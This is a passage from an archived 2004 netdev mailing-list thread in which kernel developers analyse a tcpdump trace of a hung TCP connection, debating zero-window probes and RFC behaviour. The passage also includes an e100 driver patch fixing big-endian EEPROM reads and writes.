paranoia.kolej.mff.cuni.cz.65461: . 4381:5841(1460) ack 500 win 6432 16:34:49.872777 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 5841 win 3 16:34:49.875631 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 7301:8761(1460) ack 500 win 6432 16:34:49.875714 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 5841 win 3 16:34:49.876881 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 5841:7301(1460) ack 500 win 6432 16:34:49.876953 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 8761 win 0 16:34:49.907290 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 8761 win 2 ^^^^ this packet was probably lost or the last two were reordered 16:34:50.088544 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:34:50.512936 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 ^^^ this looks to me like a bug --- window probe doesn't contain data 16:34:51.348911 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:34:53.028754 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:34:56.389624 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:35:03.110512 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 ^^^ exponential backoff on window probes is fine, except that the packets are pure acks 16:35:16.552095 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:35:43.435482 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:35:58.706896 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: FP 500:500(0) ack 8761 win 17 ^^^ paranoia closed the connection without receiving any data 16:35:58.717487 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 10221:11681(1460) ack 501 win 6432 16:35:58.717569 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: R 501:501(0) ack 11681 win 0 16:35:58.718673 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 8761:10221(1460) ack 501 win 6432 16:35:58.718692 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: R 501:501(0) ack 10221 win 0 16:35:58.720054 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 11681:13141(1460) ack 501 win 6432 16:35:58.720074 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: R 501:501(0) ack 13141 win 0 From niv@us.ibm.com Tue May 4 08:38:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 08:39:02 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44FcoKO009111 for ; Tue, 4 May 2004 08:38:57 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i44FcJYm628106; Tue, 4 May 2004 11:38:19 -0400 Received: from us.ibm.com ([9.17.193.81]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i44FcCaM479054; Tue, 4 May 2004 09:38:13 -0600 Message-ID: <4097B8D1.4010008@us.ibm.com> Date: Tue, 04 May 2004 08:37:53 -0700 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mikulas Patocka CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: TCP hangs References: <409583B1.5040906@us.ibm.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5017 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev [cc'ing netdev] Mikulas Patocka wrote: >>Which Linux kernel (distro, version)? What hangs? Is it just that >>connection? All the kernel? Client end or remote server end? > I don't know what version is that. Have no access to it. Neither server > nor client crashes, it just stops receiving data in connection. That is strange - since your trace clearly showed the client sending a FIN and a reset, so the client socket should have gone away. Does netstat still show the connection? What state is it in? >>It is not wrong to send no data in a zero window probe. TCP MUST, >>however, continue sending the probes while the window is zero. >> >>Assuming some reordering (see embedded comments in the trace, >>below), all of the following looks correct on the Linux end. >>Also, since the client side responds to the data coming >>in with resets and zero windows, the client socket has gone >>away too. >> >>Once the resets reach the server, it presumably has torn down its >>socket - and there are no more packets exchanged. All done. >> >>So nothing in the trace looks like a hang or an incorrect >>resolution. (other than the fact that the app seems to have died, >>and it doesn't respond to the zero window probes as it should). >>Client/app broken, seems like. > > > Yes. So if client receives ACK, it should respond with other ACK? > How does the TCP prevent ping-pong effect --- clients sending ACKs to each > other indefinitely? How should the client know if the ACK is window probe > (to which it should respond) or normal ACK (to which it shoudn't respond). > What RFC part does say that? You are right, it should send data. What the implementations do (at least recent Linux 2.4, 2.6) is send an out of window sequence number (just the previous one acked by the client) to force the receiver to ack. Not sure why its not doing that in this case - but could be an old Linux. Its confusing since in the trace, the window seems to open up again (2 + scale). I'll check to see if we send acks or zerop probes under any circumstances in this way in the current code again, but don't think so. But since the client kernel has seen the app go away, and has sent resets to the server, and presumably the server tears down the connection when it gets the reset and never sends anything again, why is the client having a problem at all? Nothing need hang here, or even seems to from the kernel point of view. Note that the window scale factor of 10 implies a pretty big window, and so for that to come down to zero implies the app has really crashed or aborted.. Can you recreate the problem? What was happening in user space? thanks, Nivedita > Mikulas > > >>thanks, >>Nivedita >> >>Edited trace: >> >>par = paranoia.kolej.mff.cuni.cz.65461 >>http = 213.29.7.213.http [Linux box] >> >>1. >>16:34:49.832097 par > http: SWE 1711254266:1711254266(0) >>win 8192 >> >>2. >>16:34:49.838957 http > par: S 1163781419:1163781419(0) >>ack 1711254267 win 5840 >> >>3. >>16:34:49.838968 par > http: P ack 1 win 8 >> >>4. >>16:34:49.840002 par > http: P 1:500(499) ack 1 win 8 >> >>5. >>16:34:49.847349 http > par: . ack 500 win 6432 >> >>6. >>16:34:49.863592 http > par: . 1:1461(1460) ack 500 win 6432 >> >>7. >>16:34:49.863651 par > http: P ack 1461 win 6 >> >>8. >>16:34:49.867490 http > par: . 1461:2921(1460) ack 500 win 6432 >> >>9. >>16:34:49.867558 par > http: P ack 2921 win 6 >> >>10. >>16:34:49.871498 http > par: . 2921:4381(1460) ack 500 win 6432 >> >>11. >>16:34:49.871567 par > http: P ack 4381 win 5 >> >>12. >>16:34:49.872729 http > par: . 4381:5841(1460) ack 500 win 6432 >> >>13. >>16:34:49.872777 par > http: P ack 5841 win 3 >> >>14. >>16:34:49.875631 http > par: . 7301:8761(1460) ack 500 win 6432 >> >>15. >>16:34:49.875714 par > http: P ack 5841 win 3 >> >>16. >>16:34:49.876881 http > par: . 5841:7301(1460) ack 500 win 6432 >> >>17. >>16:34:49.876953 par > http: P ack 8761 win 0 >> >>18. >>16:34:49.907290 par > http: P ack 8761 win 2 >>^^^^ this packet was probably lost or the last two were reordered >> >>19. >>16:34:50.088544 http > par: . ack 500 win 6432 >> >>20. >>16:34:50.512936 http > par: . ack 500 win 6432 >>^^^ this looks to me like a bug --- window probe doesn't contain data >>==> not a problem, the receiving client should respond >>==> with an ack and updated window. But why is not the >>==> client responding to the window probes? >> >>21. >>16:34:51.348911 http > par: . ack 500 win 6432 >> >>22. >>16:34:53.028754 http > par: . ack 500 win 6432 >> >>23. >>16:34:56.389624 http > par: . ack 500 win 6432 >> >>24. >>16:35:03.110512 http > par: . ack 500 win 6432 >>^^^ exponential backoff on window probes is fine, except that >>the packets are pure acks >> >>25. >>16:35:16.552095 http > par: . ack 500 win 6432 >> >>26. >>16:35:43.435482 http > par: . ack 500 win 6432 >> >>27. >>16:35:58.706896 par > http: FP 500:500(0) ack 8761 win 17 >>^^^ paranoia closed the connection without receiving any data >> >>==> So presumably the client application did a close or >>==> has gone away? > > > Did close(). > > >>28. >>16:35:58.717487 http > par: . 10221:11681(1460) ack 501 win 6432 >>==> missing/expected 8761:10221 >> >>29. >>16:35:58.717569 par > http: R 501:501(0) ack 11681 win 0 >>==> clearly reordered trace since client is acking 11681 >>==> which we have not yet seen arrive in the trace > > > This is reset, not ack. It just means that client is not willing to > receive more data after shutdown(SHUT_RD). > > >>30. >>16:35:58.718673 http > par: . 8761:10221(1460) ack 501 win 6432 >>==> Nooo, if the previous reset (R) reached http, it >>==> should not be barfing more data at us. Going by >>==> the ack from the client above, this was sent first. >> >>31. >>16:35:58.718692 par > http: R 501:501(0) ack 10221 win 0 >>==> reset, continued window of 0, implies no socket >>==> remaining here (?). >> >>32. >>16:35:58.720054 http > par: . 11681:13141(1460) ack 501 win 6432 >> >>33. >>16:35:58.720074 par > http: R 501:501(0) ack 13141 win 0 >> >>==> A more likely sequence of events is: >>==> packet #30, #28, #32 are sent by the http server, and >>==> packets #31, #29, #33 are sent in response when they >>==> reach the client. >> >> > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From praveen@india.hp.com Tue May 4 08:58:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 08:58:56 -0700 (PDT) Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44FwfKO009708 for ; Tue, 4 May 2004 08:58:41 -0700 Received: from shilpa.india.hp.com (shilpa.india.hp.com [15.42.231.12]) by atlrel9.hp.com (Postfix) with ESMTP id BC43F1A254; Tue, 4 May 2004 11:23:53 -0400 (EDT) Received: (from praveen@localhost) by shilpa.india.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.02) id UAA21109; Tue, 4 May 2004 20:55:58 +0530 (IST) From: Praveen Kumar Amritaluru Message-Id: <200405041525.UAA21109@shilpa.india.hp.com> Subject: Re: TCP hangs --- zero window probes To: mikulas@artax.karlin.mff.cuni.cz Date: Tue, 4 May 2004 20:55:58 +0530 (IST) Cc: netdev@oss.sgi.com In-Reply-To: from Mikulas Patocka at May "4," 2004 "04:26:13" pm X-Mailer: ELM [] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5018 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: praveen@india.hp.com Precedence: bulk X-list: netdev Hi, I raised a similar issue sometime back on this mailing list. It is basically non-conformance of RFC. Its not that Linux is sending ACK only packets rather it is sending an unacceptable ACK segment forcing the receiver to send an ACK. Use Ethereal to view the ACK segments since that will show the sequence no. as well. I feel that it is a bug, but others may not feel the same way. The clarification/justification I heard in this mailing-list was that "this implementation is more interoperable with other implementations" compared to "sending zero window probes" as defined in RFC793/RFC1122. Regards, Praveen > Hi > > This is tcpdump of hung TCP connection (from paranoia.kolej.mff.cuni.cz's > point of view). It looks like Linux did misbehave. > > 213.29.7.213 is a Linux box. (don't know which version, I have no access > to it). > paranoia.kolej.mff.cuni.cz is stack that I wrote myself. > > Linux is sending only ACKs without any data as zero-window probes. My > stack ignores them. People at IETF tcp mailing lists told me that it's > linux bug, that window probe must contain some new data. > > Is it known bug in Linux? What workaround do you suggest? > > Mikulas > > 16:34:49.832097 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: SWE 1711254266:1711254266(0) win 8192 > 16:34:49.838957 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: S 1163781419:1163781419(0) ack 1711254267 win 5840 > 16:34:49.838968 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 1 win 8 > 16:34:49.840002 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P 1:500(499) ack 1 win 8 > 16:34:49.847349 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:34:49.863592 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 1:1461(1460) ack 500 win 6432 > 16:34:49.863651 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 1461 win 6 > 16:34:49.867490 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 1461:2921(1460) ack 500 win 6432 > 16:34:49.867558 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 2921 win 6 > 16:34:49.871498 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 2921:4381(1460) ack 500 win 6432 > 16:34:49.871567 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 4381 win 5 > 16:34:49.872729 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 4381:5841(1460) ack 500 win 6432 > 16:34:49.872777 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 5841 win 3 > 16:34:49.875631 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 7301:8761(1460) ack 500 win 6432 > 16:34:49.875714 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 5841 win 3 > 16:34:49.876881 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 5841:7301(1460) ack 500 win 6432 > 16:34:49.876953 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 8761 win 0 > 16:34:49.907290 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 8761 win 2 > ^^^^ this packet was probably lost or the last two were reordered > 16:34:50.088544 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:34:50.512936 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > ^^^ this looks to me like a bug --- window probe doesn't contain data > 16:34:51.348911 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:34:53.028754 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:34:56.389624 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:35:03.110512 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > ^^^ exponential backoff on window probes is fine, except that the packets are pure acks > 16:35:16.552095 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:35:43.435482 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 > 16:35:58.706896 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: FP 500:500(0) ack 8761 win 17 > ^^^ paranoia closed the connection without receiving any data > 16:35:58.717487 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 10221:11681(1460) ack 501 win 6432 > 16:35:58.717569 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: R 501:501(0) ack 11681 win 0 > 16:35:58.718673 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 8761:10221(1460) ack 501 win 6432 > 16:35:58.718692 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: R 501:501(0) ack 10221 win 0 > 16:35:58.720054 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 11681:13141(1460) ack 501 win 6432 > 16:35:58.720074 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: R 501:501(0) ack 13141 win 0 From scott.feldman@intel.com Tue May 4 09:20:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 09:20:19 -0700 (PDT) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44GKDKO010370 for ; Tue, 4 May 2004 09:20:14 -0700 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i43M50Cp030293; Mon, 3 May 2004 22:05:00 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i43M4B8G001220; Mon, 3 May 2004 22:05:06 GMT Received: from sfeldma-ich5.jf.intel.com ([134.134.3.54]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004050315044726095 ; Mon, 03 May 2004 15:04:47 -0700 Date: Mon, 3 May 2004 15:01:13 -0700 (PDT) From: Scott Feldman To: jgarzik@pobox.com cc: netdev@oss.sgi.com, scott.feldman@intel.com Subject: [e100 2.6 2/2] big-endian fix for ethtool -e/E Message-ID: ReplyTo: "Scott Feldman" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5019 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * Reads/write from/to eeprom using ethtool weren't working right on big-endian. Now they are. -------------- --- linux-2.5/drivers/net/e100.c 2004-05-03 14:46:27.872163392 -0700 +++ linux-2.5/drivers/net/e100.c.mod 2004-05-03 14:47:50.209646192 -0700 @@ -641,7 +641,8 @@ static void e100_eeprom_write(struct nic /* Three cmds: write/erase enable, write data, write/erase disable */ cmd_addr_data[0] = op_ewen << (addr_len - 2); - cmd_addr_data[1] = (((op_write << addr_len) | addr) << 16) | data; + cmd_addr_data[1] = (((op_write << addr_len) | addr) << 16) | + cpu_to_le16(data); cmd_addr_data[2] = op_ewds << (addr_len - 2); /* Bit-bang cmds to write word to eeprom */ @@ -668,7 +669,6 @@ static void e100_eeprom_write(struct nic writeb(0, &nic->csr->eeprom_ctrl_lo); e100_write_flush(nic); udelay(4); } - }; /* General technique stolen from the eepro100 driver - very clever */ @@ -709,7 +709,7 @@ static u16 e100_eeprom_read(struct nic * writeb(0, &nic->csr->eeprom_ctrl_lo); e100_write_flush(nic); udelay(4); - return data; + return le16_to_cpu(data); }; /* Load entire EEPROM image into driver cache and validate checksum */ @@ -724,12 +724,12 @@ static int e100_eeprom_load(struct nic * for(addr = 0; addr < nic->eeprom_wc; addr++) { nic->eeprom[addr] = e100_eeprom_read(nic, &addr_len, addr); if(addr < nic->eeprom_wc - 1) - checksum += nic->eeprom[addr]; + checksum += cpu_to_le16(nic->eeprom[addr]); } /* The checksum, stored in the last word, is calculated such that * the sum of words should be 0xBABA */ - checksum = 0xBABA - checksum; + checksum = le16_to_cpu(0xBABA - checksum); if(checksum != nic->eeprom[nic->eeprom_wc - 1]) { DPRINTK(PROBE, ERR, "EEPROM corrupted\n"); return -EAGAIN; @@ -756,9 +756,10 @@ static int e100_eeprom_save(struct nic * /* The checksum, stored in the last word, is calculated such that * the sum of words should be 0xBABA */ for(addr = 0; addr < nic->eeprom_wc - 1; addr++) - checksum += nic->eeprom[addr]; - nic->eeprom[nic->eeprom_wc - 1] = 0xBABA - checksum; - e100_eeprom_write(nic, addr_len, nic->eeprom_wc - 1, 0xBABA - checksum); + checksum += cpu_to_le16(nic->eeprom[addr]); + nic->eeprom[nic->eeprom_wc - 1] = le16_to_cpu(0xBABA - checksum); + e100_eeprom_write(nic, addr_len, nic->eeprom_wc - 1, + nic->eeprom[nic->eeprom_wc - 1]); return 0; } @@ -1901,6 +1902,7 @@ static int e100_set_eeprom(struct net_de if(eeprom->magic != E100_EEPROM_MAGIC) return -EINVAL; + memcpy(&((u8 *)nic->eeprom)[eeprom->offset], bytes, eeprom->len); return e100_eeprom_save(nic, eeprom->offset >> 1, @@ -2209,9 +2211,8 @@ static int __devinit e100_probe(struct p if((err = e100_eeprom_load(nic))) goto err_out_free; - ((u16 *)netdev->dev_addr)[0] = le16_to_cpu(nic->eeprom[0]); - ((u16 *)netdev->dev_addr)[1] = le16_to_cpu(nic->eeprom[1]); - ((u16 *)netdev->dev_addr)[2] = le16_to_cpu(nic->eeprom[2]); + + memcpy(netdev->dev_addr, nic->eeprom, ETH_ALEN); if(!is_valid_ether_addr(netdev->dev_addr)) { DPRINTK(PROBE, ERR, "Invalid MAC address from " "EEPROM, aborting.\n"); From niv@us.ibm.com Tue May 4 09:49:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 09:49:20 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44GnAKO012322 for ; Tue, 4 May 2004 09:49:16 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i44GmxiJ416168; Tue, 4 May 2004 12:48:59 -0400 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i44GnHD6092088; Tue, 4 May 2004 12:49:18 -0400 Message-ID: <4097C966.5080509@us.ibm.com> Date: Tue, 04 May 2004 09:48:38 -0700 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mikulas Patocka CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: TCP hangs References: <409583B1.5040906@us.ibm.com> <4097B8D1.4010008@us.ibm.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5020 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Mikulas Patocka wrote: >TCP should send RST on received data after shutdown(SHUT_RD) --- >RFC2525, sections 2.16, 2.17. > > Yes, but that should lead to a shutdown on both ends. If you have sent a reset, why are you not tearing down your end of whatever remains of the connection? You have asked the other side to tear down. RFC 793: "The receiver of a RST first validates it, then changes state. If the receiver was in the LISTEN state, it ignores it. If the receiver was in SYN-RECEIVED state and had previously been in the LISTEN state, then the receiver returns to the LISTEN state, otherwise the receiver aborts the connection and goes to the CLOSED state. If the receiver was in any other state, it aborts the connection and advises the user and goes to the CLOSED state." >It happens that the stack at the client ignores seq number if packet >doesn't contain any data. I fixed the client so that it replies with ack, >if sequence number doesn't match. Is it correct fix? > That will work. >The app didn't go away, it just called close. > See above. >App was just not receiving any data, until I stopped the connection in >browser. > >Mikulas > > Hmm, that sounds like a root cause issue, then (why the app wasn't receiving data in the first place).. Thanks for the info.. Nivedita From mikulas@artax.karlin.mff.cuni.cz Tue May 4 10:02:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 10:02:42 -0700 (PDT) Received: from artax.karlin.mff.cuni.cz (postfix@artax.karlin.mff.cuni.cz [195.113.31.125]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44H2KKO012860 for ; Tue, 4 May 2004 10:02:21 -0700 Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421) id D1BA44173; Tue, 4 May 2004 18:26:58 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id D0C0D416F; Tue, 4 May 2004 18:26:58 +0200 (CEST) Date: Tue, 4 May 2004 18:26:58 +0200 (CEST) From: Mikulas Patocka To: Nivedita Singhvi Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: TCP hangs In-Reply-To: <4097B8D1.4010008@us.ibm.com> Message-ID: References: <409583B1.5040906@us.ibm.com> <4097B8D1.4010008@us.ibm.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5022 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mikulas@artax.karlin.mff.cuni.cz Precedence: bulk X-list: netdev On Tue, 4 May 2004, Nivedita Singhvi wrote: > Mikulas Patocka wrote: > > >>Which Linux kernel (distro, version)? What hangs? Is it just that > >>connection? All the kernel? Client end or remote server end? > > > I don't know what version is that. Have no access to it. Neither server > > nor client crashes, it just stops receiving data in connection. > > That is strange - since your trace clearly showed the client > sending a FIN and a reset, so the client socket should have > gone away. Does netstat still show the connection? What state > is it in? TCP should send RST on received data after shutdown(SHUT_RD) --- RFC2525, sections 2.16, 2.17. > > Yes. So if client receives ACK, it should respond with other ACK? > > How does the TCP prevent ping-pong effect --- clients sending ACKs to each > > other indefinitely? How should the client know if the ACK is window probe > > (to which it should respond) or normal ACK (to which it shoudn't respond). > > What RFC part does say that? > > You are right, it should send data. What the implementations > do (at least recent Linux 2.4, 2.6) is send an out of window > sequence number (just the previous one acked by the client) > to force the receiver to ack. Not sure why its not doing > that in this case - but could be an old Linux. Its confusing > since in the trace, the window seems to open up again (2 + scale). > I'll check to see if we send acks or zerop probes under any > circumstances in this way in the current code again, but don't > think so. It happens that the stack at the client ignores seq number if packet doesn't contain any data. I fixed the client so that it replies with ack, if sequence number doesn't match. Is it correct fix? > But since the client kernel has seen the app go away, and The app didn't go away, it just called close. > has sent resets to the server, and presumably the server tears > down the connection when it gets the reset and never sends > anything again, why is the client having a problem at all? > Nothing need hang here, or even seems to from the kernel > point of view. > > Note that the window scale factor of 10 implies a pretty > big window, and so for that to come down to zero implies > the app has really crashed or aborted.. It has initial window just 8kb (8 << 10), lets it slightly close if app doesn't read data, and opens it up to 512kb proportinaly to the rate at which app is reading data. I think Linux is doing something similar. What happened at the trace was, that the app was receiving data aith read() slower than the server sent them. > Can you recreate the problem? Probably not --- it happens once in few days. Maybe I could recreate it artifically by modifying the client to not send open-window ACKs. But I think now it's not necessary, because I know what caused it and fixed it. > What was happening in user space? App was just not receiving any data, until I stopped the connection in browser. Mikulas > thanks, > Nivedita > > > > Mikulas > > > > > >>thanks, > >>Nivedita > >> > >>Edited trace: > >> > >>par = paranoia.kolej.mff.cuni.cz.65461 > >>http = 213.29.7.213.http [Linux box] > >> > >>1. > >>16:34:49.832097 par > http: SWE 1711254266:1711254266(0) > >>win 8192 > >> > >>2. > >>16:34:49.838957 http > par: S 1163781419:1163781419(0) > >>ack 1711254267 win 5840 > >> > >>3. > >>16:34:49.838968 par > http: P ack 1 win 8 > >> > >>4. > >>16:34:49.840002 par > http: P 1:500(499) ack 1 win 8 > >> > >>5. > >>16:34:49.847349 http > par: . ack 500 win 6432 > >> > >>6. > >>16:34:49.863592 http > par: . 1:1461(1460) ack 500 win 6432 > >> > >>7. > >>16:34:49.863651 par > http: P ack 1461 win 6 > >> > >>8. > >>16:34:49.867490 http > par: . 1461:2921(1460) ack 500 win 6432 > >> > >>9. > >>16:34:49.867558 par > http: P ack 2921 win 6 > >> > >>10. > >>16:34:49.871498 http > par: . 2921:4381(1460) ack 500 win 6432 > >> > >>11. > >>16:34:49.871567 par > http: P ack 4381 win 5 > >> > >>12. > >>16:34:49.872729 http > par: . 4381:5841(1460) ack 500 win 6432 > >> > >>13. > >>16:34:49.872777 par > http: P ack 5841 win 3 > >> > >>14. > >>16:34:49.875631 http > par: . 7301:8761(1460) ack 500 win 6432 > >> > >>15. > >>16:34:49.875714 par > http: P ack 5841 win 3 > >> > >>16. > >>16:34:49.876881 http > par: . 5841:7301(1460) ack 500 win 6432 > >> > >>17. > >>16:34:49.876953 par > http: P ack 8761 win 0 > >> > >>18. > >>16:34:49.907290 par > http: P ack 8761 win 2 > >>^^^^ this packet was probably lost or the last two were reordered > >> > >>19. > >>16:34:50.088544 http > par: . ack 500 win 6432 > >> > >>20. > >>16:34:50.512936 http > par: . ack 500 win 6432 > >>^^^ this looks to me like a bug --- window probe doesn't contain data > >>==> not a problem, the receiving client should respond > >>==> with an ack and updated window. But why is not the > >>==> client responding to the window probes? > >> > >>21. > >>16:34:51.348911 http > par: . ack 500 win 6432 > >> > >>22. > >>16:34:53.028754 http > par: . ack 500 win 6432 > >> > >>23. > >>16:34:56.389624 http > par: . ack 500 win 6432 > >> > >>24. > >>16:35:03.110512 http > par: . ack 500 win 6432 > >>^^^ exponential backoff on window probes is fine, except that > >>the packets are pure acks > >> > >>25. > >>16:35:16.552095 http > par: . ack 500 win 6432 > >> > >>26. > >>16:35:43.435482 http > par: . ack 500 win 6432 > >> > >>27. > >>16:35:58.706896 par > http: FP 500:500(0) ack 8761 win 17 > >>^^^ paranoia closed the connection without receiving any data > >> > >>==> So presumably the client application did a close or > >>==> has gone away? > > > > > > Did close(). > > > > > >>28. > >>16:35:58.717487 http > par: . 10221:11681(1460) ack 501 win 6432 > >>==> missing/expected 8761:10221 > >> > >>29. > >>16:35:58.717569 par > http: R 501:501(0) ack 11681 win 0 > >>==> clearly reordered trace since client is acking 11681 > >>==> which we have not yet seen arrive in the trace > > > > > > This is reset, not ack. It just means that client is not willing to > > 